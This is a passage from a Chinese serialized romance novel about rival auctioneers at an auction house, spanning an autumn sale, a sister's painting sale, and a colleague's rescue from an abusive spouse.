肯定能将油画部踩到脚下。 竞争对手拍卖行跟薄听的油画部一直在争某幅大师的遗作。 从去年争到今年,还没能确定。 看样子,得到秋拍前最后的死线才能确认了。 薄听为此在J城和西五区之间来回飞,后辈崛起的压力又极大,很明显的心力交瘁,人也瘦了一大圈,秋拍时能不能保持状态都两说。 Oliver还打听到了一个小道消息。 薄听一直处于隐婚状态,结婚对象是个女的,一直在精神和身体上虐待她。身上各种伤痕都带到公司来了,根本遮不住。 薄听这几年的状态肉眼可见下滑,估计和这件事有关。 能保持五年不败的记录已经是在硬撑。 Oliver悠然得意着。 可惜啊,今年她是怎么都撑不住了。 就在Oliver开始准备今年尾牙业绩第一的发言稿时,顾总来质问他,为什么萧夺的《十二帖》会被竞争对手公司抢走。 顾总气得叉腰,“你们书画部在干什么,还想不想参加秋拍了?” Oliver耸耸肩:“萧夺罢了,哪有黄清徵卖得上价。今天我们书画部秋拍压轴的肯定是黄清徵啊,萧夺的《十二帖》就算抢回来了也就是个添头,还费时费力的,何必呢。” 顾总都被他气笑了,说了一句让他完全没有想到的话。 “黄清徵的画和你书画部有什么关系?” “什么意思?”Oliver到这会儿察觉到事情不太对劲,“黄清徵的画不是自动入我们书画部的库吗?除了我们还有谁能拍。” 顾总冷笑道:“是不是觉得自己特聪明?人家早就猜到你想吃白食了。我现在明确告诉你,黄清徵点名要姜司意拍她的画,今年姜司意会有个人明星拍卖专场,她签回来的所有拍品都会由她自己拍出,和秋拍同步进行,是我们今年的重头戏。个人拍卖会的所有佣金的分成都归她所有,记入她个人业绩。和你书画部没半毛钱关系,明白吗?” Oliver一下子从椅子上站起来,嘴角抽动着。 “顾总,可不能跟我开这种玩笑,会吓死人的……” 看顾总表情严肃,知道他不是在开玩笑。 “那,那现在我再去谈萧夺,再谈任何拍品都已经来不及了啊!顾总,你再去帮我说说看,黄清徵的画怎么不能算我们书画部呢?” 脸皮也实在是够厚的,顾总拍拍他肩膀。 “今年燕总也会来,你知道的吧,我们那位眼睛里容不得半点沙子的环球CEO说要来秋拍观摩,其实是视察。如果让她知道你们书画部业绩惨败,你猜她会不会查原因,你猜你还能不能继续在这个位置上待着?” 听到燕总的名号,Oliver浑身发寒。 顾总拨了一下他脑袋,“就一个多星期的时间了,赶紧的吧还愣着呢!” Oliver心里叫骂了一声,火急火燎出了办公室。 到了楼下,正好看到姜司意专场的宣传牌运进来,Oliver眼皮直跳,心里一口恶气不知该往哪儿舒。 宣传牌一路送到货梯口。 负责送货的师傅和两名嘉仕比的员工一起等电梯。 员工一高一矮,高个看宣传牌感叹道: “小姜老师真是紫微星啊,上次咱们办个人明星专场还是聋,咳,……薄老师。” 矮个道:“小姜老师今年秋拍还得赶场,金石玉器部的主持完还有自己的专场。” 高个:“啊?她不都要调去书画部了,怎么还管金石玉器部?” 矮个笑道:“谁会嫌钱多啊?” 宣传牌太大,挡住了站在另一侧员工专用电梯口的薄听。 薄听侧目,看向宣传牌上的姜司意。 年轻、美丽,眼神里尽是英姿勃发的朝气。 薄听都没发现自己看入了神。 直到宣传牌进入电梯,缓缓合上轿厢门,她才敛回目光。 走入电梯,没直接去自己的油画部。 来到金石玉器部。 薄听透过窗户望进去。 姜司意正在准备秋拍的二次排练。 戴着手套的手里拿着的一枚青碧玉如意牌。不过是件起拍价五万的拍品,姜司意也在认真地琢磨,反复记忆关于它的点滴,如珍似宝。 薄听眼眸里有一丝微澜。 安静地看了一会儿后,无声无息离开。 刚回到油画部,推开办公室门,脚步忽地一顿。 她的椅子上坐着个女人。 鹅蛋脸大眼睛,长长的头发散在肩头,看上去文静腼腆,比薄听起码小五岁以上。 “老婆。”那女人笑起来很美很甜,“等你好久咯。” 薄听往回看,原本暗暗往办公室方向张望的同事立刻收回视线。 将门关上。 “怎么来了。” 百叶窗全部合拢。 手有点凉。 “早饭不吃就走,人家担心你啊。”她拿出精致的饭盒,“给你送来了。” “我们公司有员工食堂。” “那可不一样。”*她温柔地笑着,眼睛弯弯的,“有一个厨艺这么棒的老婆在家,你怎么能吃别人做的食物呢。” 一时间,谁也没说话。 她拍拍自己的腿。 “怎么站那么远呀。过来,我喂完你就走了。” 薄听还是没动。 在沉默了三秒钟之后,那女人的笑容慢慢变了。 弯弯的眼睛还浸着笑意,却已经变成了另一种皮笑肉不笑的毛骨悚然。 慢慢走向薄听,将她摁在墙上。 薄听呼吸微颤,没有看她。 手指从薄听后颈往里伸,探到发丝间,五指合拢,拽住了她的头发。 “这么不乖,是要被继续惩罚的。” ……。 午间,姜司意和段凝一起去吃饭。 吴一露也跟着一起来。 以前都是她俩行动,今天多了一个。 段凝解释道:“一个人吃饭怪可怜的,尊老爱幼嘛,我就说一起带上她了。” 姜司意当然没问题,吴一露“呵呵”笑道: “谢谢您爱幼了。” 段凝:“行,那叫声姐姐听听。” 吴一露比段凝大了七岁,说叫“姐姐”就叫,还伏在她肩头娇声娇气地叫,毫无心理负担。 段凝被她弄得浑身鸡皮疙瘩战栗,一个惊天大“咦惹”。 吴一露哈哈大笑。 姜司意看着段凝,又看看吴经理。 明明身处秋天,怎么感受到了春天的气息? 段凝和吴经理闹着,薄听从姜司意身边擦肩而过。 姜司意的注意力被带过去,眼眸微顿,保持着礼貌,打招呼道: “薄老师。” 薄听依旧没有应。 电梯来了,薄听消失在走廊尽头。 段凝耸耸肩:“薄老师依旧是耳朵不太灵光的一天。” 姜司意皱眉。 怎么觉得……薄听的嘴唇上好像有个血口?头发也有点不自然的毛躁…… 姜司聆一直没回西五区。 她和格伦达相伴游荡在国内各大画展上,汲取各种新鲜的、个性分明的艺术元素。一起去采风,拜访恩师旧友,无数的灵感涌上心头,这几天两人猫在酒店画画。 西五区嘉仕比的秋拍更早一些。 今晚,姜司聆的画将在油画专场进行拍卖。 就是当初她直播焚烧,烧剩的那半幅自画像。 这幅自画像已经在西五区的各大画展中火热展出过,从线上热到线下,之前有段时间还成了网红打卡点。 这幅最具代表性,也最有话题度的半幅画,起拍价一百万美元。 姜司意和林棘一起到酒店时,格伦达刚刚弄好拍卖直播的电视投屏。 姜司聆全程都很紧张,这是她的画第一次上拍卖会,还是大型秋拍,虽不是压轴,可起拍价也高到让她不敢相信了。 姜司聆不敢看,脑袋躲在姜司意的肩膀后面。 “会不会没人加价?啊啊啊那不是丢死人了!” 姜司意握着她的手说:“不会的,我都觉得起拍价太低了。” 姜司聆:“真的么?这还低?我都心虚。” 姐姐是今年西五区现代艺术最受瞩目的新锐画家,姜司意在了解行业动态的时候,有格外关注。 姜司意很肯定地点头:“相信我专业的眼光。” 见妹妹说得笃定,姜司聆从忐忑变成了期待。 坐在姜司意另一侧的林棘,目光从她的“专属肩膀”上艰难地移开。 没办法,人家是亲姐,靠一靠很正常。 不过腰是她的。 姜司聆在那头挨着姜司意的肩膀,林棘的胳膊从另一侧无声无息地圈过来,搂住姜司意的腰。 姜司意上下都被挨着,无奈地转头看林棘。 林棘跟没事人一样也不看她,就专心看直播。 仿佛默默粘人的不是她本人。 另外一头的格伦达看到林棘的动作,学到了,也去环姜司聆的腰。 姜司聆被这一抱,痒得差点跳起来。 将她手拍掉,“别闹。” 格伦达:…… 拍卖开始了。 姜司聆眼睛都不敢眨,看现场和网络上举牌不断。 一百一十万、一百二十万、一百三十万…… 一口一口还挺快。 当有人直接喊出两百万时,姜司聆呼吸都停了一下。 就这,还有人跟。 姜司意认真估算着,“落槌价在四百五十万左右比较合理。” 姜司聆:“夺少?” 林棘拿起手机,老婆说四百五十万合理,那就凑个合理的整数吧。 最后成交价五百万美元整。 创下近两年来西五区现代艺术市场新锐画家作品的新高。 整晚西五区的现代艺术界都在讨论姜司聆。 此时此刻,身处J城酒店的姜司聆本人,掐了一下自己的脸。 “怎么回事,也不怎么疼啊,莫非真的在做梦?” 格伦达:“我来掐。” 一把掐在姜司聆大腿上,姜司聆差点跳上房顶。 眼泪都给掐出来的姜司聆不解地看格伦达。 格伦达开心道:“宝贝你看,是不是很痛?真不是梦!” 姜司聆:…… 梦不是梦,痛是真痛。 这场拍卖的压轴是格伦达去年的作品。 起拍价一千五百万美元。 放到国内市场,也是顶级的蓝筹标杆了。 最后成交价三千一百万美元,破了今年西五区油画记录。 姜司意和林棘来的时候就买了一堆的食物和饮料,现在正好一起庆祝。 出于职业习惯,姜司意问姐姐和格伦达,想不想来国内市场试试水。 “说不定能争取拍出更高的价格。” 格伦达用中文表达比较复杂的事情时,还是很困难,也没放弃,一半英语一半中文夹杂着说: “有想过,之前经纪公司和中国一家拍卖行接触过,不是嘉仕比,理念不是太合,就作罢了。我跟着宝贝回来这段时间也有好多新的灵感。本来有一幅都要完成了,哎呀这几天颈椎痛得要命,差最后一点没画完。” 姜司聆:“那正好,等你画完了就交给宝宝拍,她现在有自己的专场。” 格伦达:“好啊好啊,史蒂夫肯定也会答应。就是时间上不知道来不来得及,你们秋拍是不是就要到了?” 史蒂夫是她的经纪人。 姜司聆还想说什么,被妹妹拉了一下手。 姜司意说:“要先去看看颈椎为什么痛吧,别耽误。” 格伦达转转脖子,疼得眼睛都要睁不开。 “我这是老毛病,好多年了,平时没什么事,一画就痛。” 一直在观察姜司意微表情的林棘,知道她其实是想和格伦达,甚至是ArtS搭上线。 这是一名拍卖师的职业本能。 她还在努力地工作。 已经办了联名卡,姜司意可以随意支配林棘银行卡里的所有资金。作为家传胸针的回礼,林棘赠予她部分幻维股份。 以及这次新婚贺礼,好友们送的游艇、庄园,各个合作商包的巨额份子钱、各种古董高阶珠宝、新款电子产品、各大俱乐部贵宾会员……所有都归于姜司意名下。 林语水岸1号院也加入了她的名字。 林雪泊赠送给她大几千万的“嫁妆”,孔郁琛为她建立了信托。 连她姐姜司聆给的银行卡里都有一百多万。 按理来说,姜司意完全可以不用再这么努力工作。 别说此生,就是下几辈子的钱都够花了。 但她依旧按照最开始的步伐稳步前进着。 对待这次的秋拍有多认真,林棘最明白。 这份认真生活的样子,和最初的她没有任何区别。 纯粹笃定,格外迷人。 老婆的肩头空了,林棘的手霸占上去。 林棘说:“我妈控股的医院有一位康复科专家,对颈椎治疗很有一套,我现在就去问问明天有没有空。” 姜司聆和格伦达双眼发亮。 姜司聆:“那太好啦,她都难受好久了,在国外治了好几次总是复发,希望这次能彻底治好。” 林棘打电话给林雪泊,十分钟后林雪泊回了电话。 林棘:“确定了时间,明天中午我来接你过去。” 姜司聆:“啊?不用了吧,小佑你这么忙,给个地址我们自己去就好了。” 林棘刚刚打电话离开了姜司意的手,又一次搭回去。 “都是一家人,不用客气。有我给你们带路不是方便很多么。” 看姐姐和格伦达的表情就知道,她们很乐意,也觉得林棘非常可靠。 晚上回家,牵着手从车库走回后院。 夜幕之上漫天繁星,地面上一对情侣影形不离。 姜司意的食指勾住林棘的小指,不时晃晃。 “这么可爱?” 林棘弯起手指,在姜司意的手背上刮蹭着。 两个人一同进家门,雪球叼着姜司聆送给它的乌龟玩偶,从院子里一口气跑过来,尽职尽责地迎接主人。 林棘摸摸这只让她完全不再怕狗的小毛团。 “今天的雪球也是小漂亮。” 姜司意看林雪泊给雪球买的零食还有好多,拿起一盒肉干。 雪球立刻狂抖尾巴,做好吃小零食的准备,小乌龟都掉在地上,专心等待着。 姜司意打开肉干盒盖的时候,对林棘说: “谢谢你,对我的家人也这么好。” 林棘将自己的外套脱下来,往玄关的衣架上挂,对姜司意温柔笑道: “都是一家人,怎么还跟我分彼此。” “啊,是,我的意思是,你那么忙,我姐姐和她女朋友……” “司聆也是我姐。” 姜司意越解释越乱,林棘笑着将她抱过来,不逗她了,亲亲她的额头说: “我们结婚了,是一体的,当然劲儿往一处使。你在意的一切,在意的人,我当然会全部放在心上,不会觉得麻烦。” 没精准表达的意思,字里行间的担忧,林棘全都了解。 姜司意心里暖融融的,双臂一张,用力圈住林棘的腰。 秋季的夜里,姜司意穿得暖和,熊抱过来感觉毛茸茸的一只。 林棘满足地将心上人搂进怀中,闭着眼笑。 贴着林棘的心口,听她心跳,姜司意说: “你心跳得好快。” “嗯……被很喜欢很喜欢的人抱着,心脏就是这么没出息。” 这下该轮到姜司意的心脏没出息了。 隔着薄薄的皮肉,感受彼此的心跳,姜司意说: “我,就是想试试看,凭自己的能力能走到什么位置。” 说的自然是继续走拍卖师这行,走她的事业。 无论是林棘本人还是她的双亲,对姜司意都是非常慷慨的。 两人结婚之后,赠予她的各种产权、收藏品和资金,加在一起已经让她是个小富翁了。 这场秋拍忙活下来,到手的佣金撑死了恐怕都不够买一颗林雪泊送她的高珠。 林棘给予她难得的呵护和疼爱,与此同时,她依旧想拥有属于自己的事业。 即便她的事业在已经拥有的财富面前显得微不足道,像在瞎忙。 知道林棘不会嫌弃她,只是她自己有时候会心虚。 怕辜负林棘的一番好意。 林棘轻抚她的后脑,“想知道职业天花板在哪里,那就努力去争一争。” 姜司意从她的怀中抬起头。 林棘:“就像二楼空间,你想怎么规划就怎么规划。认真也好,玩玩也罢,就去尝试。人生很短的,我不会限制你任何事,更不会反对你的任何决定,只希望我的宝贝在人间游乐场玩得尽兴。” 温柔至极的话一瞬间击中姜司意的心。 林棘从来不会审判她。 不会说你该怎么做,该做什么,该是个什么样的人。 林棘一直都让她只成为她自己。 爱的就是这个最最真实的她。 本来就抱得很紧的双臂,将她圈得更紧。 怎么会这么好的人啊。 这么好的人,是我的。 姜司意像莽撞的小鹿,在她的怀里顶着。 林棘嗅着最喜欢的气息,热意上行。 抬起她的脸,情不自禁地接吻。 热吻缠绵,难舍难分。 只吻到林棘的手机嗡嗡作响,才意犹未尽地作罢。 林棘接电话去了,姜司意目光跟着她好长一段时间,才发现自己手里还拿着肉干。 呀,忘了忘了。 “雪球?” 环视一圈,发现雪球已经伏到远处,双手交叠在胸前,半趴在地上,正用眼睛斜视姜司意。 刚才是铲屎官先开的小零食对不对? 雪球围着转了一圈又转,眼睁睁地看着最喜欢的小零食却吃不到。 怎么狗狗这么乖还不给狗狗吃啊? 姜司意过来揉揉它的脑袋。 “抱歉抱歉,我忘了。” 雪球委屈。 人!怎么可以这样对狗狗! 【作者有话说】 林棘:宠妻第四十步,永远支持老婆成为她想成为的人[害羞] 83 第83章 ◎热爱永不负你◎ J城嘉仕比秋拍分为两个阶段。 姜司意所在的金石玉器部秋拍在第一阶段。 第一阶段完成后,相隔一周,书画部和油画部这两个体量最大的部门的秋拍才会登场。 以前第一阶段都是添头,给后半程热场的。 今年则不同。 姜司意所在的金石玉器部备受关注,而她的个人专场将在书画部和油画部之间登场。 秋拍当天。 早起,姜司意和林棘一起去慢跑了三公里。 回来后一起洗了澡出来,林棘帮姜司意穿上旗袍。 这身月光白旗袍是林雪泊特意为她定制的“秋拍”限定款。 优雅的风情,是初熟的美。 看向镜子里的自己,喉咙微动。 林棘正在帮她扣腰侧的扣子。 “紧张?” “嗯……多少有点。” 扣好了扣子,林棘环住她的腰,亲她微凉的唇。 “开心去玩,别有负担。” 林棘柔软而火热的唇,以及“玩”这个字,让姜司意因紧张而加快的心跳平复不少。 对,就去玩。 人生就是游乐场,选择自己想要玩的项目,无论惊险刺激还是温馨惬意,都只是一种体验。 金石玉器部秋拍现场。 林棘和林雪泊,姜司聆和颈椎好转不少的格伦达,严逾、岑麓、乔槿、孔郁琛……一大票的亲友全来捧场。 这规格都要向婚宴看齐。 遵循姜司意本人的意思,林棘提前给大家打了招呼。 来给姜司意打气鼓励,陪伴她人生的关键时刻,一同见证她的精彩表现就好,不用举牌。 林雪泊挺遗憾,本来今天她还想包圆了全场,让司意宝贝成为秋拍最闪耀的那颗星呢。 后台。 无数花篮从走廊这头堆到外头。 姜司意的亲友团气势磅礴,几乎包了场。 当然,再气势磅礴,林棘的花篮依旧是最醒目,最漂亮的。 花篮上照例有一张手写卡片。 【亲爱的司意女士,愿你在这场盛世中艺苑生辉,槌落功成,热爱永不负你。预祝秋拍圆满成功。——你的妻子,林棘。】 笔迹清秀练达,字字句句姜司意都喜欢得不行。 偷偷拍一张照片,珍藏。 再让段凝帮她和花篮们合影。 段凝各个角度极其专业地帮她拍完,正要给她看,身后有个人拍了段凝一下。 段凝回头,和一位雍容华贵的美艳贵妇面对面。 “小段。”那贵妇含笑看着她,“终于见面了。” 段凝:? 你是谁啊? 贵妇拉着她的手,欣赏她的脸庞,“比照片里还漂亮。” 一向风骚的段凝都怔住,怎么回事,今天妆好成这样?哪儿来的质量这么高的艳遇? 姜司意对部门的所有VIC了如指掌,不是自己负责的都门儿清。 小声在段凝身后提醒她。 “这是王太太。” 卧槽? 就是那个每次都踩死线,逼着段凝加班改图录,一年有360天都想挂到商城秒杀的王太太? 她俩一直都是线上沟通,大多数时候还是和王太太的代理沟通,这是第一次见到本人。 作为整个J城最有权势、最知名的寡妇,还是风流寡妇,王太太可比段凝想象得要年轻靡丽多了。 段凝嘴上不知道应了什么,脑子里一片空白。 就在这时,樊青从走廊拐角处走来,一只手拎着一个漂亮的花篮。 一个是送给姜司意的,要是没有老板娘,今年她这20%的年薪也不知道能不能涨。 另一个则是给段凝的。 段凝一只手被王太太握着,另一只手落入樊青手里。 樊青真诚感谢道:“这段时间多谢段小姐对我工作的帮助了,祝秋拍一切顺利!” 段凝看着这位酷姐,纳了闷。 我什么时候帮助了你的什么工作?我怎么完全不知道? 段凝发着愣,听到一阵咳嗽声。 “段凝。”吴一露站在休息室门口,冷冰冰地说,“干嘛呢。小姜,候场了。” 目光在樊青身上警惕地扫过,对着王太太僵硬地笑了笑。 “来了来了。” 段凝将手从左右两边抽回来,挽住姜司意,对王太太和樊青说了“谢谢”后,快步走进休息室。 这什么修罗场! 而且,怎么觉得吴一露刚才好凶,前所未有的凶。 还有点不开心了。 看着吴一露沉默的后脑勺,段凝心里已经飞过无数句哄她的话…… 夜里八点整。 场内的工作人员正在为贵宾们倒香槟,主拍台上传来一道女声。 “尊敬的各位来宾,亲爱的收藏家们,晚上好。欢迎大家莅临‘琢玉镂金。秋韵雅集’,嘉仕比秋季主题拍卖会。” 姜司意的声音透过麦克风覆盖全场,音色清亮,带着不疾不徐的稳定,并不高亢,却极具穿透力。 场内还在交谈的细语和嗡鸣,一瞬间被她的声音压了下来。 林棘记得春拍的时候,规模还没这大,姜司意的状态都是可以察觉到的紧张。 而这一回,姜司意迎着全场的视线,面对着全球直播,不仅能从容介绍今夜拍卖会的第一篇章,还可以同时与林棘视线短暂地对视,淡淡一笑。 的确是“玩”的那种松弛。 反而更有种拿捏全场的气魄。 春拍的“主考官”林棘,此刻完完全全成了她的观众。 林雪泊帮忙拍视频拍照,让林棘专心欣赏今晚美丽无双的妻子。 樊青送完花篮,猫着腰到贵宾席,发现乔槿不知什么时候换到这排的最外面,身边还空了一个位置。 是为我预留的? 樊青心中咚咚地跳了好几下,不管了,先坐下。 乔槿将手里多拿的一杯酒递给樊青。 樊青说“谢谢”的时候,乔槿顺势靠过来。 酒还没喝脸就有点热,樊青暗中直起脊背,让乔槿靠得更舒服点。 乔槿:“手。” 樊青:…… 将没拿酒的那只手递过去。 被乔槿扣住,搭在樊青腿上。 樊青没谈过恋爱,节奏感差得很,看再多“学习资料”感觉都很浮夸,有种技术不落地的偏差感。 幸好有乔槿带着她,顺顺利利领进门。 什么时候该做什么,都不用她操心,乔槿全都安排得好好的。 连床上都很会教,告诉她该怎么吻,怎么抱,怎么才能让彼此最舒服。 搞得樊青觉得自己已经是半个高手。 即将开始拍卖第一件拍品的时候,樊青斜后方最后一排,非常不起眼的角落里坐下来一个人。 薄听坐下后,调整了一下右耳的助听器。 之前的助听器被弄坏了,为了能听到姜司意的秋拍,昨天她匆忙配了新的。 不是很舒服,但只要能听到姜司意的声音就行,薄听能忍。 站在主拍台上的姜司意开始介绍第一件拍品,一组宋代玉勒子。 介绍完拍品的特点和收藏价值后,拍卖正式开始。 “起拍价280万元,每一次加价为5万元。” 姜司意目光扫过全场。 一时间无人举牌。 网络上也没人出价。 现场陷入短暂的沉默,预料之中。 这种中等估价的拍品,开场遇冷是常态,场内的老手们都在等第一个出价者探探路。 薄听双臂抱在身前,开场遇冷是每个拍卖师的噩梦,也是经常会遇到的难题。 处理不好就完全冷下去了,整场都有可能热不起来。 需要老道的经验来掌控和处理。 她要看的就是姜司意如何应对。 如果真的只是虚有其表,第一个坎就过不去。 姜司意没有机械地重复报价,用掌心托起玉勒,自信介绍道: “诸位行家,请细观这一组宋韵遗珍。数千年治玉史,唯宋工敢这般大胆取舍。通体不雕一刀,只凭这道弦纹束腰定神塑骨。请细看这孔道,直如尺量的精工,当代匠人的电动器具恐怕难以再现。” 短短几句话,将玉勒的价值和艺术品味展现得淋漓尽致。 很懂行。 薄听心想,到底是中国艺术史的高材生,也做了万全的准备。 “今日本场最低估价仅为280万,这个价格不到当代玉雕作品的一半。” 解读完拍品的收藏价值后,姜司意开始横行对比,继续刺激收藏家们的竞价心态。 “容我告知诸位行家,下个月友行拍卖的图录里,相似的拍品估价为500万元。” 刚说完,贵宾席198号举牌。 姜司意:“285万。” 198号举牌后,电话委托席也开始举牌。 姜司意语速平稳,眼神捕捉场内和网络上的所有加价。 “……305万,310万……355万。” 贵宾席的198号举牌,直接抬价。 “400万。” “405万。”电话委托席也在紧紧死咬。 有条不紊控场的姜司意持续报价,竞价的氛围很快被炒了起来。 林雪泊可太难受了,刚才冷场的时候就想出手,现在更是被姜司意说的心动,想要买回去收藏。 可惜林棘不让她出手。 最终198号收藏家以470万落槌价拍得这对玉勒子。 超出估价近100万。 吴一露和段凝站在场边,同时松了口气。 “太稳了太稳了。” 在网络上看直播的委托人非常满意,特意打电话给顾总,大大称赞姜司意年轻却老道,很有大将之风。 顾总接电话的时候,正和燕总坐在楼上的包厢里看秋拍。 他乐呵呵地接完,转头跟燕总说:“来表扬小姜的,委托人特别满意。” 不远千里跑一趟J城,能看到后辈现场优秀的表现,燕总淡淡地颔首。 顾总确定了燕总的确非常欣赏小姜。 他还从来没有见燕总会对谁的表现这么直接地认可,即便只是微不可查的颔首。 拍卖会继续。 趁着划动主拍台上电子屏垂眸的契机,姜司意在心里缓出了刚才那份紧张。 旁人看她已经无懈可击,其实还是会紧绷。 刚才脑海里延伸出无数种“还是冷场该怎么办”的思路,而眼下已经是最优解了。 幸好。 她抬起头,即将进行第二件拍品的拍卖。 目光再次自然地落在林棘身上。 林棘给她比了个大拇指。 ——超厉害。 姜司意抿了抿唇,开心。 有林棘在的地方,永远都有安全感。 很快收回思绪,专注回拍卖会。 之后的拍卖,无论是竞价争夺时的胶着,还是价格不到委托人理想价位,亦或者是再次遇冷,姜司意都能巧妙化解。 她努力出席日常拍卖和各类讲座,积累下来的经验,在此刻融会贯通。 今年秋拍金石玉器部的压轴拍品,是王太太的缅甸天然翡翠珠链,四年前曾经在别的拍卖行拍出上亿价格的玻璃种帝王绿同款。 今晚很多人就是为了这件近几年非常少见的珠链王来的。 王太太本人来,也是为了看看自己的收藏能不能破亿。 这是姜司意职业生涯第一次主拍估价过亿的拍品。 聚光灯下,她依旧有着超出年龄的沉稳。 引价、激发竞争欲、控场……做得天衣无缝。 连忽然出现了几位说英语的收藏家竞价,她还能同时双语报价。 最终,这件珠链王以一亿四千万的天价拍出。 在姜司意落槌的那一瞬,手都有些抖。 但她依旧没让任何人看出她的紧张。 没有一件拍品流拍,姜司意持续着她“白手套”的神话。 王太太轻轻鼓了下掌,跟身边的代理说,明年继续和嘉仕比合作。 后台段凝都快瘫那儿了,连喝一大杯水,仿佛上台拍卖的是她本人。 吴一露捏了捏她的后颈。 段凝倒吸一口凉气,“疼!” 吴一露:“给你提提劲,一会儿就看你了。” 马上就要上台,进行第二场拍卖的段凝深吸一口气。 走! 场内,薄听缓缓靠回椅背,发现脊柱有些僵。 平静的表面之下,内心和姜司意的专业能力强烈地共情着。 许久没感受过类似的震撼。 长时间地凝视台上那个被无数人艳羡,依旧不矜不伐,眼眸永远清澈的年轻女人。 不只是拍卖,是近乎于艺术家的感染力。 薄听确定了,姜司意不是那些人所说,被资源硬捧上来的绣花枕头。 耳朵有些不舒服,薄听想要摘掉助听器的时候,听到后方站在门口的三位嘉仕比的同事,正在轻嗤着。 “好风光啊过季高定,不,现在是超季高定了。” “何必走这趟流程呢,直接私洽卖掉不就好了,一个小目标而已,林家又不是出不起。” “你们懂什么,为的是今年嘉仕比全球新锐拍卖师的头衔。” “有钱人的世界咱懂不起呢。” 那三人一边喝酒一边笑,忽然察觉到一道冰冷的视线扫向他们。 是薄听。 薄听起身,从他们中间走过。 他们装着什么事也没发生,低头喝酒。 薄听:“废物唯一的本事就是嚼舌根。” 三人:…… 丢下这句让他们一口气堵在胸口的话,完全没回头看他们无能狂怒的模样。 走出拍卖会场,冷风吹起薄听总是披散的长发。 踱步片刻,还是决定给姜司意发条短信。 姜司意刚回到休息室,接过吴一露给她递来的热饮,手机就开始震。 收到好多祝贺她的信息,其中有个陌生人的短信。 【薄听。聊聊?后门。】 很简洁几个字,让姜司意心里升出了意料之外的希望。 她和薄听的交集无非是寻找玉佩一事。 难道同意了? 姜司意立刻披上外套往后门的方向去。 的确如姜司意所想。 之前薄听拒绝姜司意,是因为她觉得姜司意是被硬捧上来的,多少有点偏见。 今天完整看完她的秋拍,心有所动,与自己对话后发现或许是嫉妒心作祟,多少有些狭隘了。 想等姜司意来,加个好友,发玉佩的图片。 主拍台之外的她不善于言辞,同意帮姜司意找那枚玉佩,算是对之前针锋相对无声的歉意。 无人的后门,只有冷风阵阵。 薄听握着手机的手冷透了,藏在口袋里。 身后传来脚步声。 回眸,看到的不是姜司意,却是…… “你为什么会偷偷去看那个女人的拍卖会?你以前从来不会这么做……” 疯女人站在冷冷的夜风中,一步步走向薄听。 “你终究是想抛弃我了。” 薄听看到她满脸泪痕时,闭了闭眼,用平静的语气道: “回去再说。” 对方缠上来,也不管是否在露天的场合,强行吻她的冷唇。 薄听蹙着眉别开脸,想避开她的吻。 却又一次被扯住了头发,脸被强行转回来。 薄听的脸上浮现出忍痛的红晕。 眼镜片后的冷眸中微有水光。 “别这样对我。” 施暴的女人反而委屈至极,哭泣的面容随着深深的喘息越来越扭曲。 “你怎么敢抛弃我,想都别想……要不是你,我也不会这样。薄听,你这辈子只能看我一个人,只能爱我一个人。连被羞辱的表情也只有我一个人能看见,明白吗?!” 挣扎间,薄听右耳的助听器被对方扯去,眼镜也掉落,被对方故意踩碎。 高度近视的薄听看不清也听不清,只能任由对方手伸向她的喉咙。 纤细的脖子就要被再次掐住时,忽然有个人影晃到她面前,将她护到身后。 刚才在拍卖现场听到的清亮女声,透过一层层犹如棉花堵塞的空间,闷闷地传入她的左耳中。 是姜司意。 挡在她身前保护她的人是姜司意。 姜司意完全没想到会目睹这样的事。 在慌张中本能地护住弱势的薄听,问她: “薄老师,这个人是谁?” 还没等薄听开口,对方怨毒的眼神死死锁在姜司意身上,歇斯底里地尖叫。 “不许碰我老婆!” 姜司意被刺得耳膜发痛。 老婆? 薄老师结婚了?那这是,被家暴了…… 那疯女人从口袋里拿出一根电击棒,就要刺向姜司意。 本来已经跑出两步的周霓,看见一道身影迅速靠近,又退了回来。 疯女人刚迈出一步,头发就被狠狠拽住,硬生生拉回了两步。 这一下的力气比她拽薄听头发时要重得多,感觉头皮都要被整块掀起。 拿着电击棒的手腕被压倒性的力量钳制,疯女人在惊恐中回头,看到一双恐怖的寒眸。 “伤害老婆的垃圾,怎么有脸活着。” 林棘将电击棒调转,狠狠扎向了对方。 【作者有话说】 林棘:宠妻第四十一步,老婆爪子不够利,我来挠[猫爪][猫爪] 84 第84章 ◎我就不是那种胡乱吃醋,不懂事的人。◎ 天际渐白,再度清晓。 薄听撑着疲倦至极的身子走出派出所时,一辆宾利打开了车门。 “薄老师。” 姜司意和林棘居然在这儿等着她。 助听器坏了,戴着碎裂眼镜的薄听,侧过左耳听姜司意说话。 “抱歉,将你们卷入这件事。” 姜司意摇摇头。 “那个人,真的是你太太吗?” “嗯……” 不想继续这个话题,薄听拿出手机说: “加个好友。玉佩的图片发给我。” 林棘站在三步之外的地方,看着姜司意的背影。 当初姜司意说要帮她找回玉佩,之后就一直没再提。 没挂在嘴边的事,原来一直在默默推进。 不说,只做。 林棘愉悦地用指腹磨了磨大衣口袋的边缘。 有些人看上去话少得很,其实超会一声不吭地宠着人。 姜司意看出薄听的耳朵似乎有些问题,侧过左耳的动作很明显了。 而且昨晚在嘉仕比后门,她从地上捡起了眼镜,以及一个像助听器的东西。 薄老师居然需要助听器。 有个这么疯下手这么狠的家暴老婆,还能保持五年不败的战绩,很难想象她是怎么做到的。 为了让薄听能听得清晰些,姜司意和她站得挺近。 两人加好友的时候,身后的林棘目光一瞬不瞬。 老婆是为了我的事在交际。 林棘双臂交叉抱在身前,嘴角挂着得体的笑意,心里安抚着自己。 没事的。 嗯嗯嗯,老婆都是为了我。 晨曦铺在薄听面色惨白的脸庞*上,透过碎裂的眼镜,姜司意看到她眼里布满了红血丝。 加了好友,发了图片,薄听闭了闭酸涩的眼睛,整个人精神涣散得厉害,努力拢着意识道: “你在公司系统上提交使用仪器的申请,我教你怎么用。” 仪器使用起来其实不简单,薄听默认姜司意聪明,一学就会。 “你和我轮着建模、匹配,会比较快。不过最近不行,等秋拍之后。” 姜司意留意着她的状态。 “嗯,我明白的……薄老师,你还好吗?” 薄听:“没事,只是有点累。” 不让她睡觉也是那疯女人虐待她的方式之一。 她已经超过三十个小时没有合眼了。 只是不想在不太熟悉的后辈面前露出脆弱的一面。 长期失眠的人是什么样,姜司意见过,现在薄听的状态和当初四十多个小时没能入睡的林棘很像。 姜司意让她稍等片刻,走回去低声跟林棘说了几句。 林棘点头,她再回来,跟薄听说: “很快就要秋拍了,你现在的精神状态肯定不行。如果怕被继续骚扰的话,可以到我们家休息几天。我和我太太都在,很安全的。” 刚才她就是在征求林棘的意见,能不能帮帮薄听。 